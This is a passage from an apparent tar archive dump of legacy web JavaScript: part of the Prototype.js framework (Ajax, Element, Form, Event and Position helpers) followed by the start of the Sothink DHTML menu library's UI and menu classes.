function(callback, request, transport, json) { this.each(function(responder) { if (responder[callback] && typeof responder[callback] == 'function') { try { responder[callback].apply(responder, [request, transport, json]); } catch (e) {} } }); } }; Object.extend(Ajax.Responders, Enumerable); Ajax.Responders.register({ onCreate: function() { Ajax.activeRequestCount++; }, onComplete: function() { Ajax.activeRequestCount--; } }); Ajax.Base = function() {}; Ajax.Base.prototype = { setOptions: function(options) { this.options = { method: 'post', asynchronous: true, parameters: '' } Object.extend(this.options, options || {}); }, responseIsSuccess: function() { return this.transport.status == undefined || this.transport.status == 0 || (this.transport.status >= 200 && this.transport.status < 300); }, responseIsFailure: function() { return !this.responseIsSuccess(); } } Ajax.Request = Class.create(); Ajax.Request.Events = ['Uninitialized', 'Loading', 'Loaded', 'Interactive', 'Complete']; Ajax.Request.prototype = Object.extend(new Ajax.Base(), { initialize: function(url, options) { this.transport = Ajax.getTransport(); this.setOptions(options); this.request(url); }, request: function(url) { var parameters = this.options.parameters || ''; if (parameters.length > 0) parameters += '&_='; try { this.url = url; if (this.options.method == 'get' && parameters.length > 0) this.url += (this.url.match(/\?/) ? '&' : '?') + parameters; Ajax.Responders.dispatch('onCreate', this, this.transport); this.transport.open(this.options.method, this.url, this.options.asynchronous); if (this.options.asynchronous) { this.transport.onreadystatechange = this.onStateChange.bind(this); setTimeout((function() {this.respondToReadyState(1)}).bind(this), 10); } this.setRequestHeaders(); var body = this.options.postBody ? this.options.postBody : parameters; this.transport.send(this.options.method == 'post' ? body : null); } catch (e) { this.dispatchException(e); } }, setRequestHeaders: function() { var requestHeaders = ['X-Requested-With', 'XMLHttpRequest', 'X-Prototype-Version', Prototype.Version]; if (this.options.method == 'post') { requestHeaders.push('Content-type', 'application/x-www-form-urlencoded'); /* Force "Connection: close" for Mozilla browsers to work around * a bug where XMLHttpReqeuest sends an incorrect Content-length * header. See Mozilla Bugzilla #246651. */ if (this.transport.overrideMimeType) requestHeaders.push('Connection', 'close'); } if (this.options.requestHeaders) requestHeaders.push.apply(requestHeaders, this.options.requestHeaders); for (var i = 0; i < requestHeaders.length; i += 2) this.transport.setRequestHeader(requestHeaders[i], requestHeaders[i+1]); }, onStateChange: function() { var readyState = this.transport.readyState; if (readyState != 1) this.respondToReadyState(this.transport.readyState); }, header: function(name) { try { return this.transport.getResponseHeader(name); } catch (e) {} }, evalJSON: function() { try { return eval(this.header('X-JSON')); } catch (e) {} }, evalResponse: function() { try { return eval(this.transport.responseText); } catch (e) { this.dispatchException(e); } }, respondToReadyState: function(readyState) { var event = Ajax.Request.Events[readyState]; var transport = this.transport, json = this.evalJSON(); if (event == 'Complete') { try { (this.options['on' + this.transport.status] || this.options['on' + (this.responseIsSuccess() ? 'Success' : 'Failure')] || Prototype.emptyFunction)(transport, json); } catch (e) { this.dispatchException(e); } if ((this.header('Content-type') || '').match(/^text\/javascript/i)) this.evalResponse(); } try { (this.options['on' + event] || Prototype.emptyFunction)(transport, json); Ajax.Responders.dispatch('on' + event, this, transport, json); } catch (e) { this.dispatchException(e); } /* Avoid memory leak in MSIE: clean up the oncomplete event handler */ if (event == 'Complete') this.transport.onreadystatechange = Prototype.emptyFunction; }, dispatchException: function(exception) { (this.options.onException || Prototype.emptyFunction)(this, exception); Ajax.Responders.dispatch('onException', this, exception); } }); Ajax.Updater = Class.create(); Object.extend(Object.extend(Ajax.Updater.prototype, Ajax.Request.prototype), { initialize: function(container, url, options) { this.containers = { success: container.success ? $(container.success) : $(container), failure: container.failure ? $(container.failure) : (container.success ? null : $(container)) } this.transport = Ajax.getTransport(); this.setOptions(options); var onComplete = this.options.onComplete || Prototype.emptyFunction; this.options.onComplete = (function(transport, object) { this.updateContent(); onComplete(transport, object); }).bind(this); this.request(url); }, updateContent: function() { var receiver = this.responseIsSuccess() ? this.containers.success : this.containers.failure; var response = this.transport.responseText; if (!this.options.evalScripts) response = response.stripScripts(); if (receiver) { if (this.options.insertion) { new this.options.insertion(receiver, response); } else { Element.update(receiver, response); } } if (this.responseIsSuccess()) { if (this.onComplete) setTimeout(this.onComplete.bind(this), 10); } } }); Ajax.PeriodicalUpdater = Class.create(); Ajax.PeriodicalUpdater.prototype = Object.extend(new Ajax.Base(), { initialize: function(container, url, options) { this.setOptions(options); this.onComplete = this.options.onComplete; this.frequency = (this.options.frequency || 2); this.decay = (this.options.decay || 1); this.updater = {}; this.container = container; this.url = url; this.start(); }, start: function() { this.options.onComplete = this.updateComplete.bind(this); this.onTimerEvent(); }, stop: function() { this.updater.onComplete = undefined; clearTimeout(this.timer); (this.onComplete || Prototype.emptyFunction).apply(this, arguments); }, updateComplete: function(request) { if (this.options.decay) { this.decay = (request.responseText == this.lastText ? this.decay * this.options.decay : 1); this.lastText = request.responseText; } this.timer = setTimeout(this.onTimerEvent.bind(this), this.decay * this.frequency * 1000); }, onTimerEvent: function() { this.updater = new Ajax.Updater(this.container, this.url, this.options); } }); document.getElementsByClassName = function(className, parentElement) { var children = ($(parentElement) || document.body).getElementsByTagName('*'); return $A(children).inject([], function(elements, child) { if (child.className.match(new RegExp("(^|\\s)" + className + "(\\s|$)"))) elements.push(child); return elements; }); } /*--------------------------------------------------------------------------*/ if (!window.Element) { var Element = new Object(); } Object.extend(Element, { visible: function(element) { return $(element).style.display != 'none'; }, toggle: function() { for (var i = 0; i < arguments.length; i++) { var element = $(arguments[i]); Element[Element.visible(element) ? 'hide' : 'show'](element); } }, hide: function() { for (var i = 0; i < arguments.length; i++) { var element = $(arguments[i]); element.style.display = 'none'; } }, show: function() { for (var i = 0; i < arguments.length; i++) { var element = $(arguments[i]); element.style.display = ''; } }, remove: function(element) { element = $(element); element.parentNode.removeChild(element); }, update: function(element, html) { $(element).innerHTML = html.stripScripts(); setTimeout(function() {html.evalScripts()}, 10); }, getHeight: function(element) { element = $(element); return element.offsetHeight; }, classNames: function(element) { return new Element.ClassNames(element); }, hasClassName: function(element, className) { if (!(element = $(element))) return; return Element.classNames(element).include(className); }, addClassName: function(element, className) { if (!(element = $(element))) return; return Element.classNames(element).add(className); }, removeClassName: function(element, className) { if (!(element = $(element))) return; return Element.classNames(element).remove(className); }, // removes whitespace-only text node children cleanWhitespace: function(element) { element = $(element); for (var i = 0; i < element.childNodes.length; i++) { var node = element.childNodes[i]; if (node.nodeType == 3 && !/\S/.test(node.nodeValue)) Element.remove(node); } }, empty: function(element) { return $(element).innerHTML.match(/^\s*$/); }, scrollTo: function(element) { element = $(element); var x = element.x ? element.x : element.offsetLeft, y = element.y ? element.y : element.offsetTop; window.scrollTo(x, y); }, getStyle: function(element, style) { element = $(element); var value = element.style[style.camelize()]; if (!value) { if (document.defaultView && document.defaultView.getComputedStyle) { var css = document.defaultView.getComputedStyle(element, null); value = css ? css.getPropertyValue(style) : null; } else if (element.currentStyle) { value = element.currentStyle[style.camelize()]; } } if (window.opera && ['left', 'top', 'right', 'bottom'].include(style)) if (Element.getStyle(element, 'position') == 'static') value = 'auto'; return value == 'auto' ? null : value; }, setStyle: function(element, style) { element = $(element); for (name in style) element.style[name.camelize()] = style[name]; }, getDimensions: function(element) { element = $(element); if (Element.getStyle(element, 'display') != 'none') return {width: element.offsetWidth, height: element.offsetHeight}; // All *Width and *Height properties give 0 on elements with display none, // so enable the element temporarily var els = element.style; var originalVisibility = els.visibility; var originalPosition = els.position; els.visibility = 'hidden'; els.position = 'absolute'; els.display = ''; var originalWidth = element.clientWidth; var originalHeight = element.clientHeight; els.display = 'none'; els.position = originalPosition; els.visibility = originalVisibility; return {width: originalWidth, height: originalHeight}; }, makePositioned: function(element) { element = $(element); var pos = Element.getStyle(element, 'position'); if (pos == 'static' || !pos) { element._madePositioned = true; element.style.position = 'relative'; // Opera returns the offset relative to the positioning context, when an // element is position relative but top and left have not been defined if (window.opera) { element.style.top = 0; element.style.left = 0; } } }, undoPositioned: function(element) { element = $(element); if (element._madePositioned) { element._madePositioned = undefined; element.style.position = element.style.top = element.style.left = element.style.bottom = element.style.right = ''; } }, makeClipping: function(element) { element = $(element); if (element._overflow) return; element._overflow = element.style.overflow; if ((Element.getStyle(element, 'overflow') || 'visible') != 'hidden') element.style.overflow = 'hidden'; }, undoClipping: function(element) { element = $(element); if (element._overflow) return; element.style.overflow = element._overflow; element._overflow = undefined; } }); var Toggle = new Object(); Toggle.display = Element.toggle; /*--------------------------------------------------------------------------*/ Abstract.Insertion = function(adjacency) { this.adjacency = adjacency; } Abstract.Insertion.prototype = { initialize: function(element, content) { this.element = $(element); this.content = content.stripScripts(); if (this.adjacency && this.element.insertAdjacentHTML) { try { this.element.insertAdjacentHTML(this.adjacency, this.content); } catch (e) { if (this.element.tagName.toLowerCase() == 'tbody') { this.insertContent(this.contentFromAnonymousTable()); } else { throw e; } } } else { this.range = this.element.ownerDocument.createRange(); if (this.initializeRange) this.initializeRange(); this.insertContent([this.range.createContextualFragment(this.content)]); } setTimeout(function() {content.evalScripts()}, 10); }, contentFromAnonymousTable: function() { var div = document.createElement('div'); div.innerHTML = '<table><tbody>' + this.content + '</tbody></table>'; return $A(div.childNodes[0].childNodes[0].childNodes); } } var Insertion = new Object(); Insertion.Before = Class.create(); Insertion.Before.prototype = Object.extend(new Abstract.Insertion('beforeBegin'), { initializeRange: function() { this.range.setStartBefore(this.element); }, insertContent: function(fragments) { fragments.each((function(fragment) { this.element.parentNode.insertBefore(fragment, this.element); }).bind(this)); } }); Insertion.Top = Class.create(); Insertion.Top.prototype = Object.extend(new Abstract.Insertion('afterBegin'), { initializeRange: function() { this.range.selectNodeContents(this.element); this.range.collapse(true); }, insertContent: function(fragments) { fragments.reverse(false).each((function(fragment) { this.element.insertBefore(fragment, this.element.firstChild); }).bind(this)); } }); Insertion.Bottom = Class.create(); Insertion.Bottom.prototype = Object.extend(new Abstract.Insertion('beforeEnd'), { initializeRange: function() { this.range.selectNodeContents(this.element); this.range.collapse(this.element); }, insertContent: function(fragments) { fragments.each((function(fragment) { this.element.appendChild(fragment); }).bind(this)); } }); Insertion.After = Class.create(); Insertion.After.prototype = Object.extend(new Abstract.Insertion('afterEnd'), { initializeRange: function() { this.range.setStartAfter(this.element); }, insertContent: function(fragments) { fragments.each((function(fragment) { this.element.parentNode.insertBefore(fragment, this.element.nextSibling); }).bind(this)); } }); /*--------------------------------------------------------------------------*/ Element.ClassNames = Class.create(); Element.ClassNames.prototype = { initialize: function(element) { this.element = $(element); }, _each: function(iterator) { this.element.className.split(/\s+/).select(function(name) { return name.length > 0; })._each(iterator); }, set: function(className) { this.element.className = className; }, add: function(classNameToAdd) { if (this.include(classNameToAdd)) return; this.set(this.toArray().concat(classNameToAdd).join(' ')); }, remove: function(classNameToRemove) { if (!this.include(classNameToRemove)) return; this.set(this.select(function(className) { return className != classNameToRemove; }).join(' ')); }, toString: function() { return this.toArray().join(' '); } } Object.extend(Element.ClassNames.prototype, Enumerable); var Field = { clear: function() { for (var i = 0; i < arguments.length; i++) $(arguments[i]).value = ''; }, focus: function(element) { $(element).focus(); }, present: function() { for (var i = 0; i < arguments.length; i++) if ($(arguments[i]).value == '') return false; return true; }, select: function(element) { $(element).select(); }, activate: function(element) { element = $(element); element.focus(); if (element.select) element.select(); } } /*--------------------------------------------------------------------------*/ var Form = { serialize: function(form) { var elements = Form.getElements($(form)); var queryComponents = new Array(); for (var i = 0; i < elements.length; i++) { var queryComponent = Form.Element.serialize(elements[i]); if (queryComponent) queryComponents.push(queryComponent); } return queryComponents.join('&'); }, getElements: function(form) { form = $(form); var elements = new Array(); for (tagName in Form.Element.Serializers) { var tagElements = form.getElementsByTagName(tagName); for (var j = 0; j < tagElements.length; j++) elements.push(tagElements[j]); } return elements; }, getInputs: function(form, typeName, name) { form = $(form); var inputs = form.getElementsByTagName('input'); if (!typeName && !name) return inputs; var matchingInputs = new Array(); for (var i = 0; i < inputs.length; i++) { var input = inputs[i]; if ((typeName && input.type != typeName) || (name && input.name != name)) continue; matchingInputs.push(input); } return matchingInputs; }, disable: function(form) { var elements = Form.getElements(form); for (var i = 0; i < elements.length; i++) { var element = elements[i]; element.blur(); element.disabled = 'true'; } }, enable: function(form) { var elements = Form.getElements(form); for (var i = 0; i < elements.length; i++) { var element = elements[i]; element.disabled = ''; } }, findFirstElement: function(form) { return Form.getElements(form).find(function(element) { return element.type != 'hidden' && !element.disabled && ['input', 'select', 'textarea'].include(element.tagName.toLowerCase()); }); }, focusFirstElement: function(form) { Field.activate(Form.findFirstElement(form)); }, reset: function(form) { $(form).reset(); } } Form.Element = { serialize: function(element) { element = $(element); var method = element.tagName.toLowerCase(); var parameter = Form.Element.Serializers[method](element); if (parameter) { var key = encodeURIComponent(parameter[0]); if (key.length == 0) return; if (parameter[1].constructor != Array) parameter[1] = [parameter[1]]; return parameter[1].map(function(value) { return key + '=' + encodeURIComponent(value); }).join('&'); } }, getValue: function(element) { element = $(element); var method = element.tagName.toLowerCase(); var parameter = Form.Element.Serializers[method](element); if (parameter) return parameter[1]; } } Form.Element.Serializers = { input: function(element) { switch (element.type.toLowerCase()) { case 'submit': case 'hidden': case 'password': case 'text': return Form.Element.Serializers.textarea(element); case 'checkbox': case 'radio': return Form.Element.Serializers.inputSelector(element); } return false; }, inputSelector: function(element) { if (element.checked) return [element.name, element.value]; }, textarea: function(element) { return [element.name, element.value]; }, select: function(element) { return Form.Element.Serializers[element.type == 'select-one' ? 'selectOne' : 'selectMany'](element); }, selectOne: function(element) { var value = '', opt, index = element.selectedIndex; if (index >= 0) { opt = element.options[index]; value = opt.value; if (!value && !('value' in opt)) value = opt.text; } return [element.name, value]; }, selectMany: function(element) { var value = new Array(); for (var i = 0; i < element.length; i++) { var opt = element.options[i]; if (opt.selected) { var optValue = opt.value; if (!optValue && !('value' in opt)) optValue = opt.text; value.push(optValue); } } return [element.name, value]; } } /*--------------------------------------------------------------------------*/ var $F = Form.Element.getValue; /*--------------------------------------------------------------------------*/ Abstract.TimedObserver = function() {} Abstract.TimedObserver.prototype = { initialize: function(element, frequency, callback) { this.frequency = frequency; this.element = $(element); this.callback = callback; this.lastValue = this.getValue(); this.registerCallback(); }, registerCallback: function() { setInterval(this.onTimerEvent.bind(this), this.frequency * 1000); }, onTimerEvent: function() { var value = this.getValue(); if (this.lastValue != value) { this.callback(this.element, value); this.lastValue = value; } } } Form.Element.Observer = Class.create(); Form.Element.Observer.prototype = Object.extend(new Abstract.TimedObserver(), { getValue: function() { return Form.Element.getValue(this.element); } }); Form.Observer = Class.create(); Form.Observer.prototype = Object.extend(new Abstract.TimedObserver(), { getValue: function() { return Form.serialize(this.element); } }); /*--------------------------------------------------------------------------*/ Abstract.EventObserver = function() {} Abstract.EventObserver.prototype = { initialize: function(element, callback) { this.element = $(element); this.callback = callback; this.lastValue = this.getValue(); if (this.element.tagName.toLowerCase() == 'form') this.registerFormCallbacks(); else this.registerCallback(this.element); }, onElementEvent: function() { var value = this.getValue(); if (this.lastValue != value) { this.callback(this.element, value); this.lastValue = value; } }, registerFormCallbacks: function() { var elements = Form.getElements(this.element); for (var i = 0; i < elements.length; i++) this.registerCallback(elements[i]); }, registerCallback: function(element) { if (element.type) { switch (element.type.toLowerCase()) { case 'checkbox': case 'radio': Event.observe(element, 'click', this.onElementEvent.bind(this)); break; case 'password': case 'text': case 'textarea': case 'select-one': case 'select-multiple': Event.observe(element, 'change', this.onElementEvent.bind(this)); break; } } } } Form.Element.EventObserver = Class.create(); Form.Element.EventObserver.prototype = Object.extend(new Abstract.EventObserver(), { getValue: function() { return Form.Element.getValue(this.element); } }); Form.EventObserver = Class.create(); Form.EventObserver.prototype = Object.extend(new Abstract.EventObserver(), { getValue: function() { return Form.serialize(this.element); } }); if (!window.Event) { var Event = new Object(); } Object.extend(Event, { KEY_BACKSPACE: 8, KEY_TAB: 9, KEY_RETURN: 13, KEY_ESC: 27, KEY_LEFT: 37, KEY_UP: 38, KEY_RIGHT: 39, KEY_DOWN: 40, KEY_DELETE: 46, element: function(event) { return event.target || event.srcElement; }, isLeftClick: function(event) { return (((event.which) && (event.which == 1)) || ((event.button) && (event.button == 1))); }, pointerX: function(event) { return event.pageX || (event.clientX + (document.documentElement.scrollLeft || document.body.scrollLeft)); }, pointerY: function(event) { return event.pageY || (event.clientY + (document.documentElement.scrollTop || document.body.scrollTop)); }, stop: function(event) { if (event.preventDefault) { event.preventDefault(); event.stopPropagation(); } else { event.returnValue = false; event.cancelBubble = true; } }, // find the first node with the given tagName, starting from the // node the event was triggered on; traverses the DOM upwards findElement: function(event, tagName) { var element = Event.element(event); while (element.parentNode && (!element.tagName || (element.tagName.toUpperCase() != tagName.toUpperCase()))) element = element.parentNode; return element; }, observers: false, _observeAndCache: function(element, name, observer, useCapture) { if (!this.observers) this.observers = []; if (element.addEventListener) { this.observers.push([element, name, observer, useCapture]); element.addEventListener(name, observer, useCapture); } else if (element.attachEvent) { this.observers.push([element, name, observer, useCapture]); element.attachEvent('on' + name, observer); } }, unloadCache: function() { if (!Event.observers) return; for (var i = 0; i < Event.observers.length; i++) { Event.stopObserving.apply(this, Event.observers[i]); Event.observers[i][0] = null; } Event.observers = false; }, observe: function(element, name, observer, useCapture) { var element = $(element); useCapture = useCapture || false; if (name == 'keypress' && (navigator.appVersion.match(/Konqueror|Safari|KHTML/) || element.attachEvent)) name = 'keydown'; this._observeAndCache(element, name, observer, useCapture); }, stopObserving: function(element, name, observer, useCapture) { var element = $(element); useCapture = useCapture || false; if (name == 'keypress' && (navigator.appVersion.match(/Konqueror|Safari|KHTML/) || element.detachEvent)) name = 'keydown'; if (element.removeEventListener) { element.removeEventListener(name, observer, useCapture); } else if (element.detachEvent) { element.detachEvent('on' + name, observer); } } }); /* prevent memory leaks in IE */ Event.observe(window, 'unload', Event.unloadCache, false); var Position = { // set to true if needed, warning: firefox performance problems // NOT neeeded for page scrolling, only if draggable contained in // scrollable elements includeScrollOffsets: false, // must be called before calling withinIncludingScrolloffset, every time the // page is scrolled prepare: function() { this.deltaX = window.pageXOffset || document.documentElement.scrollLeft || document.body.scrollLeft || 0; this.deltaY = window.pageYOffset || document.documentElement.scrollTop || document.body.scrollTop || 0; }, realOffset: function(element) { var valueT = 0, valueL = 0; do { valueT += element.scrollTop || 0; valueL += element.scrollLeft || 0; element = element.parentNode; } while (element); return [valueL, valueT]; }, cumulativeOffset: function(element) { var valueT = 0, valueL = 0; do { valueT += element.offsetTop || 0; valueL += element.offsetLeft || 0; element = element.offsetParent; } while (element); return [valueL, valueT]; }, positionedOffset: function(element) { var valueT = 0, valueL = 0; do { valueT += element.offsetTop || 0; valueL += element.offsetLeft || 0; element = element.offsetParent; if (element) { p = Element.getStyle(element, 'position'); if (p == 'relative' || p == 'absolute') break; } } while (element); return [valueL, valueT]; }, offsetParent: function(element) { if (element.offsetParent) return element.offsetParent; if (element == document.body) return element; while ((element = element.parentNode) && element != document.body) if (Element.getStyle(element, 'position') != 'static') return element; return document.body; }, // caches x/y coordinate pair to use with overlap within: function(element, x, y) { if (this.includeScrollOffsets) return this.withinIncludingScrolloffsets(element, x, y); this.xcomp = x; this.ycomp = y; this.offset = this.cumulativeOffset(element); return (y >= this.offset[1] && y < this.offset[1] + element.offsetHeight && x >= this.offset[0] && x < this.offset[0] + element.offsetWidth); }, withinIncludingScrolloffsets: function(element, x, y) { var offsetcache = this.realOffset(element); this.xcomp = x + offsetcache[0] - this.deltaX; this.ycomp = y + offsetcache[1] - this.deltaY; this.offset = this.cumulativeOffset(element); return (this.ycomp >= this.offset[1] && this.ycomp < this.offset[1] + element.offsetHeight && this.xcomp >= this.offset[0] && this.xcomp < this.offset[0] + element.offsetWidth); }, // within must be called directly before overlap: function(mode, element) { if (!mode) return 0; if (mode == 'vertical') return ((this.offset[1] + element.offsetHeight) - this.ycomp) / element.offsetHeight; if (mode == 'horizontal') return ((this.offset[0] + element.offsetWidth) - this.xcomp) / element.offsetWidth; }, clone: function(source, target) { source = $(source); target = $(target); target.style.position = 'absolute'; var offsets = this.cumulativeOffset(source); target.style.top = offsets[1] + 'px'; target.style.left = offsets[0] + 'px'; target.style.width = source.offsetWidth + 'px'; target.style.height = source.offsetHeight + 'px'; }, page: function(forElement) { var valueT = 0, valueL = 0; var element = forElement; do { valueT += element.offsetTop || 0; valueL += element.offsetLeft || 0; // Safari fix if (element.offsetParent==document.body) if (Element.getStyle(element,'position')=='absolute') break; } while (element = element.offsetParent); element = forElement; do { valueT -= element.scrollTop || 0; valueL -= element.scrollLeft || 0; } while (element = element.parentNode); return [valueL, valueT]; }, clone: function(source, target) { var options = Object.extend({ setLeft: true, setTop: true, setWidth: true, setHeight: true, offsetTop: 0, offsetLeft: 0 }, arguments[2] || {}) // find page position of source source = $(source); var p = Position.page(source); // find coordinate system to use target = $(target); var delta = [0, 0]; var parent = null; // delta [0,0] will do fine with position: fixed elements, // position:absolute needs offsetParent deltas if (Element.getStyle(target,'position') == 'absolute') { parent = Position.offsetParent(target); delta = Position.page(parent); } // correct by body offsets (fixes Safari) if (parent == document.body) { delta[0] -= document.body.offsetLeft; delta[1] -= document.body.offsetTop; } // set position if(options.setLeft) target.style.left = (p[0] - delta[0] + options.offsetLeft) + 'px'; if(options.setTop) target.style.top = (p[1] - delta[1] + options.offsetTop) + 'px'; if(options.setWidth) target.style.width = source.offsetWidth + 'px'; if(options.setHeight) target.style.height = source.offsetHeight + 'px'; }, absolutize: function(element) { element = $(element); if (element.style.position == 'absolute') return; Position.prepare(); var offsets = Position.positionedOffset(element); var top = offsets[1]; var left = offsets[0]; var width = element.clientWidth; var height = element.clientHeight; element._originalLeft = left - parseFloat(element.style.left || 0); element._originalTop = top - parseFloat(element.style.top || 0); element._originalWidth = element.style.width; element._originalHeight = element.style.height; element.style.position = 'absolute'; element.style.top = top + 'px';; element.style.left = left + 'px';; element.style.width = width + 'px';; element.style.height = height + 'px';; }, relativize: function(element) { element = $(element); if (element.style.position == 'relative') return; Position.prepare(); element.style.position = 'relative'; var top = parseFloat(element.style.top || 0) - (element._originalTop || 0); var left = parseFloat(element.style.left || 0) - (element._originalLeft || 0); element.style.top = top + 'px'; element.style.left = left + 'px'; element.style.height = element._originalHeight; element.style.width = element._originalWidth; } } // Safari returns margins on body which is incorrect if the child is absolutely // positioned. For performance reasons, redefine Position.cumulativeOffset for // KHTML/WebKit only. if (/Konqueror|Safari|KHTML/.test(navigator.userAgent)) { Position.cumulativeOffset = function(element) { var valueT = 0, valueL = 0; do { valueT += element.offsetTop || 0; valueL += element.offsetLeft || 0; if (element.offsetParent == document.body) if (Element.getStyle(element, 'position') == 'absolute') break; element = element.offsetParent; } while (element); return [valueL, valueT]; } } stcode.js 0000666 00000253647 15155054006 0006411 0 ustar 00 /*================================================================ ORC_JS, JavaScript Class Framework version:dhtml menu 9.2,3.10.90326 Copyright 2008 by SourceTec Software Co.,LTD For more information, see:www.sothink.com ================================================================*/ if(typeof _STNS!="undefined"&&!_STNS.UI){_STNS.UI={UNIUID:0,DOMEVENTS:["mouseover","mouseout","mousemove","mousedown","mouseup","click","keypress","keydown","keyup","dblclick"],foGetUIById:function(id){var o;while(id){if(o=_STNS.UI.oUIs[id]){return o;}id=id.substr(0,id.lastIndexOf("_"));}},fsGetUid:function(){this.iIdNo++;if(_STNS.UI.UNIUID){return "stUI"+_STNS.UI.UNIUID+this.iIdNo;}else{if(window.name){return "stUI"+(_STNS.fsTranD2X(36,(new Date).getTime()))+this.iIdNo;}else{return "stUI"+this.iIdNo;}}},iIdNo:0,oUIs:{},fbDmEnt:function(e,o){var _5=o.id,ob,r=-1;if(!_5){return true;}if(ob=_STNS.UI.foGetUIById(_5)){if(ob.fbGetEnt){r=ob.fbGetEnt(e,o);}}return r;},fsGetEnt:function(o,t,n,_b){var s;if(n==null){var n="";}if(!_b){var _b="";}if(o._oEs[t+n]&&o._oEs[t+n].length){for(var i=0;i<_STNS.UI.DOMEVENTS.length;i++){if(_STNS.UI.DOMEVENTS[i]==t){return "on"+t+"='return "+_b+"_STNS.UI.fbDmEnt(event,this)'";}}}return "";}};with(_STNS.UI){_STNS.UI.CUIObj=_STNS.Class();CUIObj.register("UI/CUIObj");CUIObj.construct=function(){this._oMs={};this._oEs={};this.oParent=null;this.sUid=_STNS.UI.fsGetUid();this.fbGetEnt=_STNS.fbTrue();with(_STNS.UI.CUIObj){this.fvDestroy=fvDestroy;this.fvGetMsg=fvGetMsg;this.fbSetMsg=fbSetMsg;this.fbAttachEnt=fbAttachEnt;this.fbDetachEnt=fbDetachEnt;this.fbDetachAll=fbDetachAll;this.fbFireEnt=fbFireEnt;this.fbCheckEnt=fbCheckEnt;this.foClone=foClone;}_STNS.UI.oUIs[this.sUid]=this;this.sSelf="_STNS.UI.oUIs['"+this.sUid+"']";};CUIObj.fvDestroy=function(){delete _STNS.UI.oUIs[this.sUid];};CUIObj.fvGetMsg=function(m,d){var f,r=true;if(f=this._oMs[m]){if(typeof f=="string"){f=_STNS.ffGetFun(f);}if(f){r=f.call(this,d);}}if(r==true&&this.oParent){this.oParent.fvGetMsg(m,d);}};CUIObj.fbSetMsg=function(m,f){if(typeof f!="function"&&typeof f!="string"){_STNS.fvThrow(new Error("Attach invalid function to "+t+" message."));return false;}this._oMs[m]=f;return true;};CUIObj.fbCheckEnt=function(t){if(this._oEs[t]){return true;}};CUIObj.fbAttachEnt=function(t,f){if(typeof f!="function"&&typeof f!="string"){_STNS.fvThrow(new Error("Attach invalid function to "+t+" event."));return false;}if(this._oEs[t]){for(var i=0;i<this._oEs[t].length;i++){if(this._oEs[t][i]==f){return -1;}}this._oEs[t].push(f);}else{this._oEs[t]=[f];}return true;};CUIObj.fbDetachEnt=function(t,f){var i;if(this._oEs[t]&&this._oEs[t].length){for(i=0;i<this._oEs[t].length;i++){if(this._oEs[t][i]==f){delete this._oEs[t][i];}}}};CUIObj.fbDetachAll=function(){for(var i in this._oEs){if(this._oEs[i].length){this._oEs[i].length=0;}delete this._oEs[i];}};CUIObj.fbFireEnt=function(t,as){var i,r=true,f,tmp;if(!this._oEs[t]||!this._oEs[t].length){return -1;}for(i=0;i<this._oEs[t].length;i++){if(!this._oEs[t][i]){continue;}f=this._oEs[t][i];if(typeof f=="string"){f=_STNS.ffGetFun(f);}if(f){tmp=f.call(this,as);if(!tmp){r=tmp;}}}return r;};CUIObj.foClone=function(){var o={};for(var i in this){o[i]=this[i];}o.sUid=_STNS.UI.fsGetUid();_STNS.UI.oUIs[o.sUid]=o;o.sSelf="_STNS.UI.oUIs['"+o.sUid+"']";return o;};}}if(typeof _STNS.UI.CUIMenu=="undefined"){with(_STNS.UI){_STNS.UI.CUIMenu=_STNS.Class(_STNS.UI.CUIObj);CUIMenu.register("UI/CUIObj>CUIMenu");CUIMenu.construct=function(){this.sJsPth="";this.sVer=0;this.iTyp=0;this.aPopups=[];this.sId=0;this.iNid=-1;this.iX=0;this.iY=0;this.iWid=0;this.iHei=0;this.iHal=0;this.sImgPth=0;this.sLnkPre=0;this.sBlank=0;this.iClk=0;this.bClked=0;this.iStat=0;this.iDelaySV=250;this.iDelaySH=0;this.iDelayHd=1000;this.iDelayTk=0;this.bHdPopup=true;this.aHdTags=[];this.bRTL=false;this.aCursors=[];this.sSiteRoot="";this.bRunEff=true;this.iTracks=0;this.iTrackLevel=-1;this.oTracks={};this.aScBars=[];this.aMaxSizes=[-1,-1];this.iScType=0;this.bCfm=false;this.bCfShow=false;this.sTarFm="";this.sSrcFm="";this.iCfX=0;this.iCfY=0;this.iCfD=0;this.oFocus=0;this.OutItem=0;this.bTab=false;this.oSel=0;this.bOver=0;this.iTab=0;this.iTabHei="";this.bHL=0;this.bWe=0;with(_STNS.UI.CUIMenu){this.fvDestroy=fvDestroy;this.fsGetImg=fsGetImg;this.fsGetLnk=fsGetLnk;this.fsGetHTML=fsGetHTML;this.fsGetImgTag=fsGetImgTag;this.fsGetEnt=fsGetEnt;this.fsGetStyle=fsGetStyle;this.fdmGetTarFm=fdmGetTarFm;this.fsGetSrcFm=fsGetSrcFm;this.fbShow=fbShow;this.foInsTab=foInsTab;this.fbDelPopup=fbDelPopup;this.fvMvto=fvMvto;this.fnGsp=fnGsp;this.fvSsc=fvSsc;this.fbTrack=fbTrack;this.fbCkLnk=fbCkLnk;this.fbClick=fbClick;this.fbKeydown=fbKeydown;}};CUIMenu.MOUSEOVER=1;with(CUIMenu){CUIMenu.MAXSTATE=MOUSEOVER;}CUIMenu.ALIGNS=["left","center","right"];CUIMenu.VALGINS=["top","middle","bottom"];CUIMenu.REPEATS=["no-repeat","repeat-x","repeat-y","repeat"];CUIMenu.BORDERS=["none","solid","double","dotted","dashed","groove","ridge","outset","inset"];CUIMenu.fsGetHTML=function(){var s="";if(this.aPopups.length){if(this.bTab){var p=this.aPopups[0],m=this,_r=_STNS;with(this.aPopups[0]){var p1=this.aPopups[1];s+="<table cellpadding=0 cellspacing=0";s+=" id='"+sUid+"_menu' ";s+="align="+_r.UI.CUIMenu.ALIGNS[m.iHal]+" ";s+=m.fsGetStyle("tb",0,(iWid&&iWid!=-1?"width:"+_r.fsGetLen("tb",iWid,0,iBdStyle>0&&iBdWid>0?iBdWid:0,1)+";":"")+(iHei&&iHei!=-1?"height:"+_r.fsGetLen("tb",iHei,0,iBdStyle>0&&iBdWid>0?iBdWid:0,1,0)+";":""));s+=">";s+="<tr "+m.fsGetStyle("tr",0)+">"+"<td "+m.fsGetStyle("td",0)+">";s+=fsGetHTML();s+="</td></tr>";var fs="";if(p1){if(_STNS.bIsIE&&(p1.iOpac<100&&p1.iOpac>-1||_STNS.oNav.version>=5.5&&p1.iShadow&&p1.iSdSize)){fs="filter:"+(p1.iOpac<100&&p1.iOpac>-1?"Alpha(opacity="+p1.iOpac+") 